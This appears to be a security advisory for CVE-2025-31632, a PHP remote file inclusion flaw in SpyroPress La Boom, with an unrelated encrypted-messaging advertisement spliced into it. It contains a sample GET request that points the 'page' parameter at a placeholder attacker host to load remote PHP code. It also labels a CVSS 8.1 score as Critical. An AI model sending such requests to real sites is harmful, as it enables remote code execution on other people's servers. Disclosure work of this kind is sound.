Overview
The cybersecurity world is grappling with the discovery of a new critical vulnerability, CVE-2025-31632, which is associated with SpyroPress La Boom. The issue arises due to an improper control of filename for Include/Require Statement in PHP Program, known as the ‘PHP Remote File Inclusion’ vulnerability. This vulnerability affects any system or website using La Boom versions up to 2.7 and could lead to a severe system compromise or data leakage. The severity of this issue is highlighted by the CVSS severity score of 8.1, indicating that it is a high-risk issue that requires immediate attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-31632
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
SpyroPress La Boom | Up to 2.7
How the Exploit Works
The vulnerability exists due to an improper control of filename for include/require statement in the PHP program. This allows an attacker to include a file from a remote server that contains malicious PHP code, leading to remote file inclusion. Once this malicious file is included, it is executed on the server, potentially leading to unauthorized access or control over the system.
Conceptual Example Code
An attacker could exploit this issue with a HTTP request that includes the path to the malicious file on a remote server. For example:
GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.comIn this request, the ‘page’ parameter is manipulated to include a file from a remote server (`malicious.example.com`). This file (`malicious_file.php`) contains malicious code which, when executed, can compromise the system.
Mitigation
Users are strongly advised to update their SpyroPress La Boom to the latest version. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits. It is also recommended to disable allow_url_fopen and allow_url_include settings in PHP configuration, if not required for the application. These settings allow PHP’s file functions — such as include, require, or file_get_contents — to retrieve data from remote locations, and disabling them reduces the risk of a remote file inclusion attack.